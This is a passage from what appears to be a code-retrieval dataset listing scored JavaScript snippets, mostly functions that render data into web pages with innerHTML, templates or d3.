document.getElementById('messages').innerHTML = html;\n}", "title": "" }, { "docid": "27b30db8b849ec6d823f34cb75b02b80", "score": "0.6531039", "text": "function renderData(json){\n const body = document.querySelector(\"body\");\n const p = document.createElement('p');\n const state = document.getElementById(\"state\").value;\n const i = findState(json, state);\n p.innerHTML = \"Current total number tested by today in \"+json[i].state + \" is \"+ json[i].positive;\n body.appendChild(p)\n event.preventDefault();\n}", "title": "" }, { "docid": "81f8a638b5de230a7711290ef9af179f", "score": "0.65075207", "text": "render() {\n this.element.innerHTML = '';\n this.renderCalendarHeader();\n this.renderCalendar();\n db.loadEventsFromDB();\n }", "title": "" }, { "docid": "70d231cc2998c7812a493ae484116951", "score": "0.6505671", "text": "function renderContent(data) {\n return `<div class=\"entriesDOM\">\n <h2>${data.title}</h2>\n <p>${data.content}</p>\n <h6>${data.date}</h6>\n <button id=\"delete--${data.id}\">Delete</button>\n </div>`\n}", "title": "" }, { "docid": "697ec3b9889d75f63564c6dbce95a3a8", "score": "0.6501355", "text": "render() {\n\n\t}", "title": "" }, { "docid": "ef929fe646dcd22611ac2c420073f89e", "score": "0.64844394", "text": "function renderResult (data) {\n data = processResult(data);\n res.render('index', {\n title: 'Standings',\n stats: data //JSON.parse(data)\n });\n }", "title": "" }, { "docid": "d86a4fb65a21651351b0834c8d079d67", "score": "0.6466289", "text": "function ContentRender() {\n }", "title": "" }, { "docid": "1ca82809caf83255b3f00940c8c33941", "score": "0.64583683", "text": "function render(content)\n{\n document.getElementById('feeds').innerHTML = content;\n}", "title": "" }, { "docid": "72544dedf2c4c460ecb253b9d023eb92", "score": "0.64539164", "text": "function renderPage(data) {\n if(!data) return '';\n\n var title = data.title || 'no title';\n var desc = data.desc || '';\n var icon = data.icon || NOIMAGE;\n var button = data.button || '';\n var class_name = data.button || '';\n\n var output = '<div class=\"news '+class_name+' label-'+button+'\">'\n + '<img src=\"'+icon+'\" class=\"preview lazy\" alt=\"'+title+'\" width=\"64\" height=\"64\" onload=\"APP.refresh();\" onerror=\"this.src=NOIMAGE;\" />'\n + '<h3>'+title+'</h3>'\n + '<div>'+desc+'</div>'\n + '</div>';\n\n return output;\n }", "title": "" }, { "docid": "2cf0c0ba971f6801a5cbd81830454a94", "score": "0.6438115", "text": "function render(){\n guessList.html(guessHtml);\n renderCount.html(count);\n feedback.html(guessedFeedback);\n }", "title": "" }, { "docid": "02e553f56adcb2b6a4d833bea2a86636", "score": "0.6423979", "text": "function render(){\n // Handling all the subscription to the pubsub module below.\n events.on('birdData', plotBirdData);\n events.emit('getMap', map);\n events.on('onLoadMap', getOnLoadMap);\n events.on('resetBtn', deleteMarkers)\n }", "title": "" }, { "docid": "033ffcb86f41afa801302871dc675286", "score": "0.64153385", "text": "render() {\n // generate a reel container\n this.payline.render();\n }", "title": "" }, { "docid": "fdf04375b84527a18d67e4fc49f3cda2", "score": "0.63962746", "text": "render() {\n this.renderLevel();\n this.renderEntities();\n this.renderMessages();\n }", "title": "" }, { "docid": "9bc428d8166d8505aab8867981347d0f", "score": "0.6390133", "text": "_render() {\n let items = this.render();\n this._wasRendered = true;\n return items;\n }", "title": "" }, { "docid": "7da264be468ff7b52c44c35925187ae4", "score": "0.6387611", "text": "function render() {\n var key, spec, w;\n \n // render the console wrapper\n render_console();\n \n // look for keys in the debug payload\n // and render each as a widget\n for (klass in data) {\n // class name to lowercase\n key = klass.toLowerCase();\n if (data.hasOwnProperty(key) && data[key].data) {\n // get a new widget object and render\n w = widgets[key]({\n 'name' : key,\n 'data' : data[key].data\n });\n \n // render widget passing in content div element\n w.render($('#' + id + ' .content'));\n \n // hide if not default\n if (key !== default_tab) {\n w.hide();\n }\n \n // add to registry\n registry[key] = w;\n }\n }\n }", "title": "" }, { "docid": "745f74d884fa22050ac1f61e8b6dddc7", "score": "0.63872945", "text": "async render(data, ctx) {\n return renderView(data, ctx);\n }", "title": "" }, { "docid": "d6c341ce92c27a553888ee9b2296eb6a", "score": "0.63750565", "text": "function renderContent() {\n return `${fetchedData.map(track =>\n `<div class=\"result-item\" id=\"${track.id}\" data-src=\"${track.stream_url}\" data-title=\"${track.title}\">\n <div class=\"result-artwork\">\n <img src=\"${track.artwork_url}\"></div>\n <div class=\"result-title\"><p>${track.title}</p></div>\n </div>`\n ).join('')}`\n }", "title": "" }, { "docid": "d2595ef449c6f89b157d1adeb705334e", "score": "0.6373846", "text": "render() { }", "title": "" }, { "docid": "d2595ef449c6f89b157d1adeb705334e", "score": "0.6373846", "text": "render() { }", "title": "" }, { "docid": "d2595ef449c6f89b157d1adeb705334e", "score": "0.6373846", "text": "render() { }", "title": "" }, { "docid": "d2595ef449c6f89b157d1adeb705334e", "score": "0.6373846", "text": "render() { }", "title": "" }, { "docid": "59b59f51bee0b66e65f82d54337de2c4", "score": "0.63709706", "text": "function reDrawData(requiredData) {\n /**\n * Template\n */\n var templateString = 'Name: <%= name %>';\n var person = \"\";\n var result = \"\";\n var template = \"\";\n\n $(\".view-content\").empty(requiredData);\n var news = requiredData,\n newsTemplate = _.template(\n '<% _.each(news, function(artist, index, news) { %>' +\n '<div class=\"views-row\">' +\n '<div class=\"views-field views-field-field-image\">' +\n '<div class=\"field-content\">' +\n '<a href=\"<%= artist.link %>\" target=\"<%= artist.source == \"iadb\" ? \"_blank\" : \"_self\" %>\">' +\n '<% if(artist.image == \"\" || artist.image == \"/sites/default/files/default_images/Bid-Lab-default.jpg\" ) { %>' +\n '<% if(drupalSettings.lang == \"en\") { %>' +\n '<img src=\"/sites/default/files/default_images/Logo-IDB-LAB.jpg\" class=\"image-style-new-list\"/>' +\n '<% }else{ %>' +\n '<img src=\"/sites/default/files/default_images/Logo-BID-LAB.jpg\" class=\"image-style-new-list\"/>' +\n '<% } %>' +\n '<% }else{ %>' +\n '<img src=\"<%= artist.image %>\" class=\"image-style-new-list\"/>' +\n '<% } %>' +\n '</a>' +\n '</div>' +\n '</div>' +\n '<div class=\"views-field views-field-field-date\">' +\n '<div class=\"field-content\">' +\n // '<%=moment(artist.date, \"DD/MM/YYYY\").locale(drupalSettings.lang).format(\"MMMM DD, Y\")%>' +\n '<%= moment(artist.date.date).locale(drupalSettings.lang).format(\"MMMM DD, Y\") %>' +\n '</div>' +\n '</div>' +\n '<div class=\"views-field views-field-title\">' +\n '<span class=\"field-content\">' +\n '<a href=\"<%= artist.link %>\">' +\n '<%= artist.title %>' +\n '</a>' +\n '</span>' +\n '</div>' +\n '</div>' +\n '<% }); %>'\n ),\n content = newsTemplate({\n news: news\n });\n\n $(\".view-content\").html(content)\n\n\n $.each(requiredData, function (key, value) {\n\n person = {\n name: value.title\n };\n\n template = _.template(templateString);\n result = template(person);\n });\n\n pagination();\n\n }", "title": "" }, { "docid": "03b5a981522ef619143e95cc02297ace", "score": "0.637002", "text": "function displayData(){\r\n\r\n var content = '';\r\n\r\n //https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in\r\n for (const property in employees) {\r\n\r\n content += '<section class=\"employee\">';\r\n\r\n if (`${employees[property].employeeisfeatured}`==1) {\r\n content += '<p class=\"icon\">&#128081;</p>';\r\n }\r\n\r\n //displays the image\r\n content += '<img src=\"http://sandbox.bittsdevelopment.com/code1/employeepics/' + property + '.jpg\">'\r\n\r\n //displays the name\r\n content += '<h2 class=\"name\">' + `${employees[property].employeefname}` + ' ' +\r\n `${employees[property].employeelname}` + '</h2>';\r\n\r\n //displays the biography\r\n content += '<p class=\"bio\">' + `${employees[property].employeebio}` + '</p>';\r\n\r\n //displays the role assigned to each member using a for loop.\r\n content += '<p class=\"roles\">'\r\n for (const roleID in employees[property].roles) {\r\n\r\n content += '<span class=\"role\" style=\"background-color:' + employees[property].roles[roleID].rolecolor\r\n + ';\">' + employees[property].roles[roleID].rolename + ' </span>';\r\n }\r\n\r\n content += '<p>';\r\n\r\n content += '</section>';\r\n\r\n }\r\n\r\n mainDOM[0].innerHTML = content;\r\n\r\n }", "title": "" }, { "docid": "1ca7fe3d21fc50586139602e274b2bb9", "score": "0.636744", "text": "render() {\n let data = { users: this.users };\n let tableContainer = document.getElementById(\"tableContainer\");\n //You will need to edit ex1.mustache to render the correct data\n tableContainer.innerHTML = Mustache.render(this.tableTemplate, data);\n }", "title": "" }, { "docid": "13488199ac12350454c45b520cbb7b8d", "score": "0.6366707", "text": "renderedCallback() {\n console.log(\"You can now see me and my (Display Data) child components on browser\"); \n }", "title": "" }, { "docid": "00398f0ec7b6d8abe9c95335fbd8c038", "score": "0.63487196", "text": "render() {\n if (this.renderer) {\n this.renderer.call(this.owner, this.content, this.owner, this.model);\n }\n }", "title": "" }, { "docid": "fabb9fbf4fa80c8f63d4b046fd63c3b9", "score": "0.63479686", "text": "render() {\n return this.getDisplay();\n }", "title": "" }, { "docid": "e362501c2b4e46fc3fad187bd0eb36d1", "score": "0.63454014", "text": "function renderData( numberList ) {\n let HTML = '';\n \n if ( !Array.isArray(numberList) ) {\n return console.error('Error');\n }\n if ( numberList.length === 0 ) {\n return console.error(tuscia);\n }\n\n for ( let i=0; i<numberList.length; i++ ) {\n const item = numberList[i];\n\n HTML += `<div class=\"achievements col-md-4 col-lg-4 col-sm-12\">\n <i class=\"fa fa-${item.icon}\"></i>\n <div class=\"number\"\n data-number_from=\"0\"\n data-number_to=\"${item.number}\"\n data-time=\"3000\">${item.number}</div>\n <span>+</span>\n <h4 class=\"title\">${item.title}</h4>\n </div>`;\n \n }\n\n return document.querySelector('#data').innerHTML = HTML;\n}", "title": "" }, { "docid": "ea560fba62bc1d055c846c2de9864160", "score": "0.6341093", "text": "function renderHTML(data) {\n var htmlstring = \"\";\n for (i = 0; i < data.length; i++) {\n htmlstring += \"<li>\" + data[i].name + \"</li >\";\n }\n displaydetails.insertAdjacentHTML(\"beforeend\", htmlstring);\n}", "title": "" }, { "docid": "1de7dd1a5b6e5167f384b39fd2d87d83", "score": "0.6325181", "text": "function render() {\n const div = document.createElement('DIV');\n const h2 = document.createElement('H2');\n div.appendChild(h2);\n const ul = document.getElementById('sales');\n for(let i = 0; i < hours.length; i++) {\n const li = document.createElement('li');\n li.textContent = this.name + ' : ' + hours[i] + ' : ' + this.salesByHour[i].cookiesSold + ' cookies ';\n ul.appendChild(li);\n }\n}", "title": "" }, { "docid": "ae1801b41523da58d5294989dfcc6422", "score": "0.6320891", "text": "function renderData(data) {\n data.forEach((data) => {\n // Append table row tags within table body\n var row = tbody.append(\"tr\");\n // Loop through values within each data entry\n Object.entries(data).forEach(([key, value]) => {\n // Append td tag within table row created above\n var cell = row.append(\"td\");\n // Add values as text within td tags\n cell.text(value);\n });\n });\n}", "title": "" }, { "docid": "499fd8d3f7694ceb6542847ec5a7ed36", "score": "0.6306494", "text": "function renderData(data, textStatus, request) {\n myData = data;\n totalItem = request.getResponseHeader('x-Total-Count');\n $(\".result-item\").text(totalItem);\n buildHtml()\n buildPagination()\n}", "title": "" }, { "docid": "c4f4896f6926759cc492c7a8428513a2", "score": "0.6306399", "text": "function render() {\n\tcontainer.innerHTML = htmlStr;\n}", "title": "" }, { "docid": "edf8c4d889c1b94f8887f4fb91bd9451", "score": "0.62969154", "text": "function displayData(data){\n for (index in data.mockData){\n $('body').append(\n '<p>' + data.mockData[index].text + '</p>');\n }\n}", "title": "" }, { "docid": "38bbb681d625b68467153beb4ea1f481", "score": "0.6295158", "text": "function render() {\n renderPreviews();\n renderActive();\n }", "title": "" }, { "docid": "5ddd0cc454e44e60583d7b7014d439cf", "score": "0.62909734", "text": "function displayData(data){\n tbody.text(\"\")\n data.forEach(function(view){\n row = tbody.append(\"tr\")\n Object.entries(view).forEach(function([key,value]) {\n cell = row.append(\"td\").text(value)\n });\n })}", "title": "" }, { "docid": "fcaf004a94b94d4810bef1d96e141fae", "score": "0.62819546", "text": "render() {\n this.html = '';\n this.createElements().show().setupListeners();\n }", "title": "" }, { "docid": "2b8c6a0bb7a4501a8b798259ceba817c", "score": "0.62782764", "text": "function render() {\n includeHTML()\n removeclassesToElements()\n if (loadArrayFromLocalStorage(localKeyTitels)) {\n titels = loadArrayFromLocalStorage(localKeyTitels);\n notes = loadArrayFromLocalStorage(localKeyNotes);\n }\n\n displayNotes();\n}", "title": "" }, { "docid": "6922489ae50eda8a61c05cc9c40f8400", "score": "0.627477", "text": "function renderHTML(data) {\n\tvar htmlString = \"\";\n\t\n\tfor(i = 0; i < data.length; i++) {\n\t\thtmlString += \"<p>\" + data[i].name + \" is a \" + data[i].species + \" that likes \";\n\t\t\n\t\tfor(j = 0; j < data[i].foods.likes.length; j++) {\n\t\t\tif(j == 0) {\n\t\t\t\thtmlString += data[i].foods.likes[j];\n\t\t\t} else {\n\t\t\t\thtmlString += \" and \" + data[i].foods.likes[j];;\n\t\t\t}\n\t\t}\n\t\t\n\t\thtmlString += \" and dislikes \";\n\t\t\n\t\tfor(j = 0; j < data[i].foods.dislikes.length; j++) {\n\t\t\tif(j == 0) {\n\t\t\t\thtmlString += data[i].foods.dislikes[j];\n\t\t\t} else {\n\t\t\t\thtmlString += \" and \" + data[i].foods.dislikes[j];;\n\t\t\t}\n\t\t}\n\t\t\n\t\thtmlString += '.</p>';\n\t\t\n\t}\n\tcontainer.insertAdjacentHTML('beforeend', htmlString);\n\t\n}", "title": "" }, { "docid": "e00c5e5a6248d1be936b996c27b670d7", "score": "0.6271277", "text": "function displayData(data){\n let city = document.querySelector('.location .city');\n city.innerHTML = `${data.name}, ${data.sys.country}`;\n\n let now = new Date();\n let date = document.querySelector('.location .date');\n date.innerHTML = dateBuilder(now);\n \n let temp = document.querySelector('.current .temp');\n temp.innerText = `${Math.round(data.main.temp)} °c`;\n\n let weather_el = document.querySelector('.current .weather');\n weather_el.innerText = data.weather[0].main;\n\n\n let hilow = document.querySelector('.current .hi-low');\n hilow.innerText = `${data.main.temp_min}°c / ${data.main.temp_max}°c`;\n\n }", "title": "" }, { "docid": "0347303c67748e79963d0128948c3f1b", "score": "0.6266626", "text": "function generateHTMLFromData() {\n let data = \"pretend this data came from the server\";\n console.log(\"this data comes from the server: \" + data);\n window.document.getElementById(\"ersteSpalte\").innerText = data;\n}", "title": "" }, { "docid": "190f5f55cf952d4a7780b432b501b483", "score": "0.6265292", "text": "function render(){\n // Access DOM elements;\n var output = document.getElementById('output');\n daysAgo = document.getElementById('date');\n var species = document.getElementById('species');\n var birdNames = document.getElementsByClassName('bird');\n\n // Attach event listeners\n daysAgo.addEventListener('change', function(){\n daysAgoValue = this.value;\n })\n\n $(\"#output\").click(toggleBirdDetails);\n\n // Subscribe to necessary published data\n events.on('getLocation', findNearbyBirds);\n events.on('newGeoObj', findNearbyBirds);\n events.on('currentMarker', findBirdsByLocation);\n events.on('resetBtn', clearBox);\n events.on('mapZoom', setSearchRadius);\n events.on('speciesFilter', checkSearchCriteria);\n events.on('speciesFilter', checkSpeciesFilter);\n events.on('theSciName', getSciName)\n }", "title": "" }, { "docid": "3948c7ca90b0eb4f559368f0aec96206", "score": "0.62572855", "text": "render() {\n\n //console.log('render');\n\n // empty recipe html list array\n let recipeHtmlList = [];\n\n // for each recipe, create the recipe html\n this.recipes.forEach((recipe) => {\n const recipeHtml = createRecipeHtml(\n recipe.currentID,\n recipe.name,\n recipe.ingredients1,\n recipe.ingredients2,\n recipe.ingredients3,\n recipe.ingredients4,\n recipe.instruction,\n );\n // push the new recipe html to the empty recipe html list array\n recipeHtmlList.push(recipeHtml);\n });\n\n // join the html list array into one string, where each element from the array starts on a new line\n const recipeHtml = recipeHtmlList.join(\"\\n\");\n\n // target the recipe list div element from index.html and replace its inner html with the string we just created in recipeHtml.\n const recipeList = document.querySelector(\"#recipe-list\");\n recipeList.innerHTML = recipeHtml;\n }", "title": "" }, { "docid": "b9730c4ff3b67b1dceece2782f282869", "score": "0.6253935", "text": "function render(data) {\n var $template = _.template($('#skillsTemp').html());\n var $webdev = $('#webdev');\n var $design = $('#design');\n var $objects = Array.prototype.slice.call(data.skills);\n var $fragmentWebdev = $(document.createDocumentFragment());\n var $fragmentDesign = $(document.createDocumentFragment());\n\n // console.log($objects);\n $objects.forEach(function(element) {\n\n if (element.category == 'webdev') {\n\n $fragmentWebdev.append($template({\n id: element.id,\n name: element.name,\n cat: element.category,\n level: element.level,\n imgSrc: element.imgSrc\n }));\n\n } else if (element.category == 'design') {\n\n $fragmentDesign.append($template({\n id: element.id,\n name: element.name,\n cat: element.category,\n level: element.level,\n imgSrc: element.imgSrc\n }));\n\n } else {\n\n console.log('sad element without a category screaaaams to You! @_@!!');\n\n }\n });\n\n $webdev.append($fragmentWebdev);\n $design.append($fragmentDesign);\n $skills = $('.el');\n }", "title": "" }, { "docid": "2b1b83eb22dfca95502534bb93e271c2", "score": "0.62467223", "text": "function showData(data){\n var template = $('#template-output').html()\n console.log(JSON.stringify(data,null,2))\n $('#out').html(Mustache.render(template, data))\n }", "title": "" }, { "docid": "dbf3515e7fd83cd26ca117c3482c5f32", "score": "0.62441313", "text": "function quizRender() {\n $(\"#questionRender\").append(quizQuestion[quizQuestionCnt].q + \"<br />\" +\n \"<p class='pCSS'>\" + quizQuestion[quizQuestionCnt].o[0] + \"</p>\" + \"<br />\" +\n \"<p class='pCSS'>\" + quizQuestion[quizQuestionCnt].o[1] + \"</p>\" + \"<br />\" +\n \"<p class='pCSS'>\" + quizQuestion[quizQuestionCnt].o[2] + \"</p>\"+ \"<br />\" +\n \"<p class='pCSS'>\" + quizQuestion[quizQuestionCnt].o[3] + \"</p>\" + \"<br />\" \n )\n }", "title": "" }, { "docid": "441ecda2273c07db773bcbbb24b6a39d", "score": "0.6244016", "text": "render(data, options = {}) {\n this.data = data\n\n this.t = d3.transition()\n .duration(options.animate ? 300 : 0)\n .ease(this.ease)\n\n this.renderAxis(data, options)\n this.renderBars(data, options)\n }", "title": "" }, { "docid": "24205cefca48b76c97030ae96e7be082", "score": "0.6242718", "text": "function renderHtml(data) {\n var userName = data.name.first + \" \" +data.name.last;\n $('.card-title').html(userName.toUpperCase());\n var userPic = data.picture.medium;\n $('.card-image').attr(\"src\",userPic);\n}", "title": "" }, { "docid": "1df59ae3d1068e7b7363113ced33e95c", "score": "0.6241842", "text": "function showDemographics(_, data) {\n var parsedData = JSON.parse(data);\n \n document.getElementById(\"saveStudentData\").innerHTML = data;\n\n getRequest(\"/getStudentColumns\", \"\", demographicsHelper);\n\n}", "title": "" }, { "docid": "9de1095c014df5eb37613fba2f9f5ceb", "score": "0.6241526", "text": "function render() {\n const cards = parkData.data.map(function(park) {\n return `\n <article data-info=\"${parkData}\" class=\"card\">\n \n <h2>${park.fullName }</h2>\n\n <img src=\"${park.images[0].url}\" class=\"responsive\" alt=\"${park.fullName}\">\n <br>\n \n <p>State(s):</p>\n <p>${park.states}</p>\n \n <p>Designation: </p>\n <p>${park.designation}</p>\n \n <p>Description: </p>\n <p>${park.description}</p>\n \n <p>Directions: </p>\n <p>${park.directionsInfo}</p>\n \n <p>Weather Conditions: </p>\n <p id=\"break\">${park.weatherInfo}</p>\n\n <p>Park Fees: </p>\n <p>${park.entranceFees[0].description}</p>\n \n <p>More Information: </p>\n <p><a href=\"${park.url}\">Link to Website</a></p>\n\n </article>\n `;\n });\n $collection.html(cards);\n }", "title": "" }, { "docid": "d33ec244ee3b016711f52c13a87d5bc8", "score": "0.62407595", "text": "function render (data,C){\n var currentWeather = data.weather[0].description; // tells state of weather.\n var currentTemp = displayTemp(data.main.temp,C); // in F\n var icon = data.weather[0].icon;\n apiData = data;\n\n $('#currentTemp').html(currentTemp);\n $('#currentWeather').html(currentWeather);\n console.log('temp ' + currentTemp);\n var iconSource = 'http://openweathermap.org/img/w/' + icon + '.png';\n $('#currentTemp').prepend('<img src = ' + iconSource + '>');\n }", "title": "" }, { "docid": "6d5573b7b1cb83c09d69bae73a12ba7f", "score": "0.6237167", "text": "function updateUI(data) {\n const htmlContent = `<p>Temperature: ${data.temperature} °C</p>\n <p>Time: ${data.time}</p>\n <p>Date: ${data.date}</p>\n ${data.userFeelings}`;\n\n responseContainer.insertAdjacentHTML('afterbegin', htmlContent);\n}", "title": "" }, { "docid": "32e1467a126afc8e2f52af3742b3a213", "score": "0.6229851", "text": "render() {\n super.render();\n this.renderMainText();\n this.renderOptions();\n }", "title": "" }, { "docid": "9d4664e9bb1bd70cf1768b6d625ec46a", "score": "0.6227267", "text": "render() {\n const element = document.createElement('div');\n element.innerHTML = template({\n id: this.id,\n title: this.title,\n className: this.className,\n });\n this.container = element.firstChild;\n this.content = this.container.getElementsByClassName('widget-content')[0];\n this.manager.container.appendChild(this.container);\n }", "title": "" }, { "docid": "82ad627eeec5216ce96715363d6092ce", "score": "0.6224761", "text": "render() {\n\n // adding cards component to document\n const cardsWrapper = Utils.createElement({\n name: 'div',\n id: 'cards-wrapper',\n className: 'cards-wrapper'\n });\n this.rootElem.appendChild(cardsWrapper);\n \n // adding action component to document\n const actionWrapper = Utils.createElement({\n name: 'div',\n id: 'action-wrapper',\n className: 'action-wrapper'\n });\n this.rootElem.appendChild(actionWrapper);\n\n // rendering cards\n const cards = new Cards(CARDS_DATA);\n cards.setParentElement(cardsWrapper);\n cards.render();\n \n // rendering button actions\n const actions = new Actions();\n actions.setParentElement(actionWrapper);\n actions.render();\n\n }", "title": "" }, { "docid": "b11d3ff72a7ccdce89cc4ec5227666a8", "score": "0.62218255", "text": "function render(data) {\n var $template = _.template($('#projTemp').html());\n var $wrapper = $('#galleryAjax');\n var $objects = data.projects;\n var $fragment = $(document.createDocumentFragment());\n\n $objects.forEach(function(element) {\n $fragment.append($template({\n id: element.id,\n category: element.category,\n name: element.name,\n desc: element.desc,\n repo: element.repo,\n demo: element.demo,\n thumb: element.pics.pic[0].img\n }));\n // console.log(pics);\n });\n\n $wrapper.append($fragment);\n $projectElements = $('.project-el');\n }", "title": "" }, { "docid": "c73d6d5dc2c2f7c317fc95a6bdb43d84", "score": "0.6215509", "text": "renderHtml(){\n this.makeCardsFromObjects();\n // add doctype as we are about to export\n let html = this.addDoctypeToHtml();\n return html;\n }", "title": "" }, { "docid": "f64433b9d73b3ac84025c76daf742056", "score": "0.6205093", "text": "function renderHTML(rawData){\n\n for (x = 0; x <= rawData.length - 1; x++) {\n\n htmlString = \"<div class='name'>\" + \"<strong>\" + rawData[x].fname + \" \" + rawData[x].lname + \"</strong>\" + \"<br>\" +\n rawData[x].tel + \"<br>\" +\n rawData[x].address + \"<br>\" +\n rawData[x].city + \"<br>\" +\n rawData[x].state + \" \" +\n rawData[x].zip + \"<br>\" + \"<br>\" + \"</div>\"\n\n document.getElementsByTagName(\"body\")[0].insertAdjacentHTML(\"beforeend\", htmlString) \n } \n}", "title": "" }, { "docid": "73978f367f45cfd013c97dc7dfcfb94c", "score": "0.61994404", "text": "function renderFn(data) {\n return hyperstream({\n '.highlight': data.name,\n '.description': data.description\n });\n}", "title": "" } ]
674395e2517418b48faa848b75097be2
changes color of addNote button when input is being given
[ { "docid": "4667904e288e265f58c9de9a1a326d9f", "score": "0.7225358", "text": "function chng()\n{\n document.getElementById(\"addingNote\").style.backgroundColor = \"black\";\n document.getElementById(\"addingNote\").style.color = \"white\";\n}", "title": "" } ]
[ { "docid": "7b971ac8a8a2872d6238285b833ffc67", "score": "0.6745056", "text": "function addNote(){\n let text=document.getElementById('formNoteText').value;\n let backgroundColor=document.getElementById(\"formColor\").value;\n\n let newNote = document.createElement(\"div\");\n newNote.className=\"note\";\n ++noteNumber;\n newNote.setAttribute(\"id\",\"note-\"+noteNumber);\n newNote.setAttribute(\"style\",\"background:\"+getColor(backgroundColor));\n newNote.appendChild(getEditButton());\n newNote.appendChild(getDeleteButton());\n newNote.setAttribute(\"draggable\",\"true\");\n newNote.setAttribute(\"ondragover\",\"dragOver(event)\");\n newNote.setAttribute(\"ondragstart\",\"dragStart(event)\");\n var par=document.createElement(\"p\");\n par.innerText=text;\n newNote.appendChild(par);\n document.getElementById('notes').appendChild(newNote);\n}", "title": "" }, { "docid": "9a025632a2eadb9f76d1fe80023fa79e", "score": "0.66136795", "text": "function colorAdd(input) {\n\tlet color_pick = document.querySelector(\"#colorPicker\").value;\n\tinput.target.style.backgroundColor = color_pick;\n\n}", "title": "" }, { "docid": "67cba4865dd2ccba6fbb636d3733a06e", "score": "0.6474114", "text": "color()\n {\n window.addEventListener('click', ()=>{\n \n let edit = document.querySelector('.edit');\n \n if(edit)\n { \n this.colorEvent(edit);\n }else{\n this.paletteColor.value = '#000000';\n this.paletteInput.placeholder = '#000000'\n }\n })\n }", "title": "" }, { "docid": "47a83937a5cc4e30fd90e29de086b4d7", "score": "0.6323426", "text": "function updateColor(e) {\n var color = e.target.value;\n if (!color) {\n color = \"#446ccf\";\n }\n preview.style.backgroundColor = \"#\" + color;\n}", "title": "" }, { "docid": "d08ea2187d23880f1499d6e1ffc0e45e", "score": "0.6173441", "text": "function add_color(){\n var color_choice = $('#color-input').val();\n var new_swatch = $('<div>');\n new_swatch.addClass('swatch');\n new_swatch.css('background-color', color_choice);\n $('#color-pallette').append(new_swatch);\n $('#color-input').val('');\n}", "title": "" }, { "docid": "993f10bf3ef4e1eecb32a4d75d90d400", "score": "0.61170906", "text": "function handleCustomButton (){\r\n var red = document.getElementById('red-text');\r\n var green = document.getElementById('green-text');\r\n var blue = document.getElementById('blue-text');\r\n if(red.value == ''){\r\n red.value = '0';\r\n }\r\n if(green.value == ''){\r\n green.value = '0';\r\n }\r\n if(blue.value == ''){\r\n blue.value = '0';\r\n }\r\n setColor(red.value,green.value,blue.value);\r\n colorBox.style.background = 'rgb(' + red.value + ',' + green.value + ',' + blue.value + ')';\r\n}", "title": "" }, { "docid": "3cac2f89d27151a1301ec07096f53468", "score": "0.6054597", "text": "function NoteInput() {}", "title": "" }, { "docid": "6d522d0b6d710a472acb79b300f7b20e", "score": "0.6028941", "text": "function initialNotesPaint(id, text, color, size, family){\n let note = document.createElement(\"div\");\n note.className = \"note\";\n note.id = id;\n note.style.color = color;\n note.style.fontSize = `${size}px`;\n note.style.fontFamily = family;\n note.innerHTML = `\n ${text}\n <button class=\"delete-button\" style=\"font-size : 10px;\">X</button>\n `;\n paintNote(note);\n}", "title": "" }, { "docid": "1da908a8bd3138aae37c2f66889caab7", "score": "0.60242915", "text": "function activateColor(e) {\n let savedColor = e.target;\n let color = savedColor.getAttribute(\"savedColor\");\n\n colorInput.value = color;\n preview.style.backgroundColor = \"#\" + color;\n}", "title": "" }, { "docid": "c9800ebc8ac98da3ab9b8f557e3a9fd2", "score": "0.5995088", "text": "function buttonClicked () {\n document.body.style.backgroundColor = input.value;\n}", "title": "" }, { "docid": "87c54de78e25c8c168200f004ed252df", "score": "0.59825593", "text": "function getColor(note) {\n if (note >= 8) {\n return \"text-success\";\n } else if (note >= 5) {\n return \"text-warning\";\n }\n return \"text-danger\"\n}", "title": "" }, { "docid": "769097455132d7effdc007a457fa42de", "score": "0.59806764", "text": "function makeRed(inputDiv) {\n //input field set to red\n inputDiv.style.backgroundColor = \"#c80815\";\n}", "title": "" }, { "docid": "ed1d1c7afb346e21649a786220ed1c4f", "score": "0.5973209", "text": "function createReadbutton(book, value, wrapper){\n const readButton = document.createElement(\"button\")\n readButton.classList.add('readButtons')\n readButton.textContent = value;\n value == 'Read' ? readButton.setAttribute(\"style\", \"background-color: green ; border: green solid 1px\") : readButton.style.background = 'red';\n wrapper.appendChild(readButton)\n readButtonListner(readButton, book)\n}", "title": "" }, { "docid": "c1c6dbfd329760682eb5b9d2281036ed", "score": "0.5970712", "text": "function changeNoteColor(event, noteIndex, boardIndex) {\n var workingNotes = deepCopy(notes);\n\n if (checkValidNoteIndex(noteIndex, boardIndex)) {\n workingNotes[boardIndex].notes[noteIndex].color = event.target.value;\n }\n setNotes(workingNotes);\n }", "title": "" }, { "docid": "055f4f0df1063077dffeba08a9f6a746", "score": "0.5970705", "text": "function noteClick(){\n\tvar inputs = $(this).find('input');\t\t\t//get hidden inputs for this note\n\t$(\"#noteId\").val(inputs.eq(0).val()); //set modal hidden ids \n\t$(\"#categoryId\").val(inputs.eq(1).val());\n\t$(\"#color\").val(inputs.eq(2).val());\n\t$(\"#statusId\").val(inputs.eq(3).val());\n\t\n\t$(this).hide(); //hide this note\n\t$('#modal').show(); //show modal note\n\t\n\t$('#modal-title').html($(this).find('.noteTitle').html()); //Add this note content to modal and set editable\n\t$('#modal-title').attr('contenteditable',true);\n\t\n\t$('#modal-text').html($(this).find('.noteContent').html()); //Add this note content to modal and set editable\n\t$('#modal-text').attr('contenteditable',true);\n\t\n\t$('#modal-content').css('background-color',inputs.eq(2).val());\n\n\t$('#changecolor').css('background-color',inputs.eq(2).val());\n\t\n}", "title": "" }, { "docid": "b8be347204da37749b9540a291c3aad6", "score": "0.59602946", "text": "function addNoteButton(note) {\r\n var li = $(\"<div />\", slide.contentDocument);\r\n li.addClass(\"noteButton\");\r\n var time = $(\"<div />\", slide.contentDocument);\r\n time.addClass(\"noteButtonTime\");\r\n time.text(new Date(note.time).toLocaleString());\r\n li.append(time);\r\n var summary = $(\"<div />\", slide.contentDocument);\r\n summary.addClass(\"noteButtonSummary\");\r\n summary.text(noteSummary(note));\r\n li.append(summary);\r\n li.click(function () showNote(note, li));\r\n $(\"#lineList\", slide.contentDocument).append(li);\r\n return li;\r\n }", "title": "" }, { "docid": "b8be347204da37749b9540a291c3aad6", "score": "0.59602946", "text": "function addNoteButton(note) {\r\n var li = $(\"<div />\", slide.contentDocument);\r\n li.addClass(\"noteButton\");\r\n var time = $(\"<div />\", slide.contentDocument);\r\n time.addClass(\"noteButtonTime\");\r\n time.text(new Date(note.time).toLocaleString());\r\n li.append(time);\r\n var summary = $(\"<div />\", slide.contentDocument);\r\n summary.addClass(\"noteButtonSummary\");\r\n summary.text(noteSummary(note));\r\n 